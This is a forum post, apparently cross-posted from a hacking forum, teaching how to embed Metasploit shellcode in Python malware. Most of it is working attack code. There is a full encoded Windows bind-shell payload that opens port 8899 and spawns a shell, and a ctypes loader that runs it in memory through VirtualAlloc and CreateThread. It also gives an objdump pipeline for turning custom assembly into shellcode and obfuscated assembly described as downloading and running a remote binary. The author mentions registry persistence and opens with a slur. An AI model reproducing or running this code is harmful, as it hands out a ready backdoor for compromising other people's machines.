Sup niggas. I posted this over at greysec(Which is a rather dank haxxing related forum that you should probably check out[MLT from TeamPoison posts there too and he's 1337 af]) so i figured i might xpost it here for your reading pleasure.
ASM is a powerful low level language suitable for a number of applications. One of those applications is in malware, shellcode is typically written in machine code such as ASM. However, if you have a sample of ASM that performs a specific operation such as spawning an OS shell or downloading and executing a binary from a remote host you might want to employ this functionality in a high level language such as Python or Ruby to create a more powerful piece of software/malware.
In order to do so however we can't just copy/paste ASM directly into a Python script. Instead, python reads the machine code in as a bytearray of shellcode. If you've worked with metasploit before you might recognize that this looks like the following.
"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
"\x41\x08\xf3\xc3\x43"
This is shellcode generated by metasploit, what this shellcode does when executed, is open port 8899 on the target Windows machine and listens for incoming connections over TCP. Once a connection has been established it spawns an OS shell.
Now if we were to employ this from within a python script it would look like this.
import os
import ctypes
def execute():
# Bind shell
shellcode = bytearray(
"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
"\x41\x08\xf3\xc3\x43")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Calling the function execute() from within the script will now run the shellcode in memory. If you're interested in an example, i have a script on my github that employs this technique while copying the binary(once compiled) to the C:\Users directory and adding a registry entry to ensure persistence. The bind shell can be controlled by metasploit payload handler.
https://github.com/NullArray/ShellwareAnyway, say you have some custom machine code that you would like to employ in a similar manner. No problem, it so happens there's a Linux utility to assist us with exactly that.
In example, here's some encoded ASM that i generated with an unrelated script. For the sake of brevity i will not post the entire program but a sample so that you get a feel for what we're converting here.
xor eax,eax
push eax
push 0x22657841
pop eax
shr eax,0x08
push eax
mov eax,0x1d4f211f
mov ebx,0x78614473
xor eax,ebx
push eax
mov eax,0x3c010e70
mov ebx,0x5567524a
xor eax,ebx
push eax
mov eax,0x3c481145
mov ebx,0x78736c6c
xor eax,ebx
push eax
mov eax,0x4a341511
mov ebx,0x6d516d74
xor eax,ebx
push eax
mov eax,0x7d155e26
mov ebx,0x5370324f
xor eax,ebx
push eax
mov eax,0x300220
mov ebx,0x666c3864
xor eax,ebx
push eax
mov eax,0x4d69477f
mov ebx,0x6a496b58
xor eax,ebx
push eax
mov eax,0x1d2d0173
mov ebx,0x7042625d
xor eax,ebx
What the complete program does is downlaod a binary from a remote host and run it. To convert this we will use the utility called objdump and a regular expression using grep, after which the shellcode will be printed to the terminal. The commands are structured as follows:
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Where you replace "PROGRAM" with the binary ASM file and the proper shellcode will be printed to the terminal in this format if everything went well.
\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc
\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66
\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91
\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f
Voila, dank shellcode4u.